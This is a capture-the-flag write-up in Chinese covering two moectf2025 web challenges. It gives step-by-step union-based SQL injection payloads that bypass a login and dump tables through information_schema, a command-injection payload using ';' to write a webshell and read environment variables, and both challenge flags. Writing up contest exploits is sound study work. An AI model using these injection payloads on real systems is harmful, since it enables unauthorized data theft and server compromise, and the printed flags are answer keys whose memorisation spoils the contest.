moectf2025-Web-Day2

Web08 第八章 天衍真言,星图显圣

SQL联合查询注入。
一个登录界面,发现传参为username和password 万能密码尝试登录后发现:
?username=&password=’ or 1=’1
回显为 Welcome admin,因此可以判断应该存在admin这个用户

一点前置知识:
–代表注释
union联合查询需要查询结果的列数相同,利用union可以执行我们想执行的sql语句,从而将其他表内的信息带出来。

接下来的流程:

1 确定查询返回列数

select查询后 会返回一个table。Table有行和列,列代表属性,行代表数据。
order by 可以根据属性(列名)进行排序,也可以直接按列序号排序。如果列序号不存在会报错。如果ORDER BY 3正确,ORDER BY 4却报错,即可确认查询结果表中有3列。
注入exp:
?username=admin’ order by 1 – &password=
?username=admin’ order by 2 – &password=
?username=admin’ order by 3 – &password=
发现3时报错,说明返回表中有2列。

2 确定可显示列

SQL查询返回的所有列,不一定都会显示在网页上,需要确认哪些列可以显示从而被我们看到.
尝试:
?username=’ union select 1,2 – &password=
发现回显为1
?username=’ union select 2,1 – &password=
发现回显为2,那么可显示列就是查询结果的第一列。

这里注意 要让我们原本查询结果为空 否则如果查出值(比如这个题会回显admin)可能覆盖我们后面想要查出的值。如果用?username=admin’ union select 2,1 – &password=,会发现返回结果是admin
此外 select不仅可以从表里查,还可以查询常量,这里就是利用了查询常量的特性。举个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
-- 测试1:最简单的SELECT
SELECT 1;
-- 返回:
┌───┐
│ 1 │
└───┘

-- 测试2:多个值
SELECT 1, 2, 3;
-- 返回:
┌───┬───┬───┐
│ 1 │ 2 │ 3 │
└───┴───┴───┘

-- 测试3:混合类型
SELECT '张三' as 姓名, 18 as 年龄, NOW() as 时间;
-- 返回:
┌────────┬──────┬─────────────────────┐
│ 姓名 │ 年龄 │ 时间 │
├────────┼──────┼─────────────────────┤
│ 张三 │ 18 │ 2023-10-01 10:00:00 │
└────────┴──────┴─────────────────────┘

因此我们确定了可显示列为第一列。

3 数据库名查询

?username=1’ union select database(),2 – &password=
先查到数据库名 才能查这个数据库里的表 才能查表里字段进而拿数据。
database() 是MySQL内置的函数,返回当前连接的数据库名称
类似的其他函数:

1
2
3
4
5
6
7
-- 函数,要加括号调用
SELECT database(); -- ✅ 正确

-- 类似的其他函数:
SELECT version(); -- 返回MySQL版本
SELECT user(); -- 返回当前用户
SELECT NOW(); -- 返回当前时间

回显为user 因此应该到user里查表

4 查询表名

接下来我们需要查看user里表的名字。
MySQL数据库的元数据库information_schema记录了所有数据库、表、字段的名字。
‘ union SELECT table_name,2 FROM information_schema.tables WHERE table_schema=’user’ –
发现回显为flag,可以对这个表进行查询

然而,一个数据库可能有多个表,SELECT会返回多行,使用group_concat()包裹即可输出成一行。
‘ union SELECT group_concat(table_name),2 FROM information_schema.tables WHERE table_schema=’user’ –

这样的话回显就是flag和users了,说明有两个表

5 查表读数据

‘ union SELECT *,2 FROM flag –
*是通配符 会自行展开成表中的属性 这里的2用来站位。
需要注意 这里如果select 1,2 from flag 其含义不是select第一列属性和第二列属性,而是会返回一个行数与flag相同 每行数据均为1,2的表
flag为:
moectf{UnlOn_64S3d-SQII-FtW!1185c23d8b}

Web09 第九章 星墟禁制·天机问路

命令执行
题目要求我们输入一个url,以get方式传参。
直接用;截断,然后即可执行命令。
可以写个马进去:
128.0.0.1;echo ““ > ./2.php
发现在全局变量里。
直接env即可显示
FLAG=moectf{ea5c141b-4d97-2d1a-c618-f5d917dae823}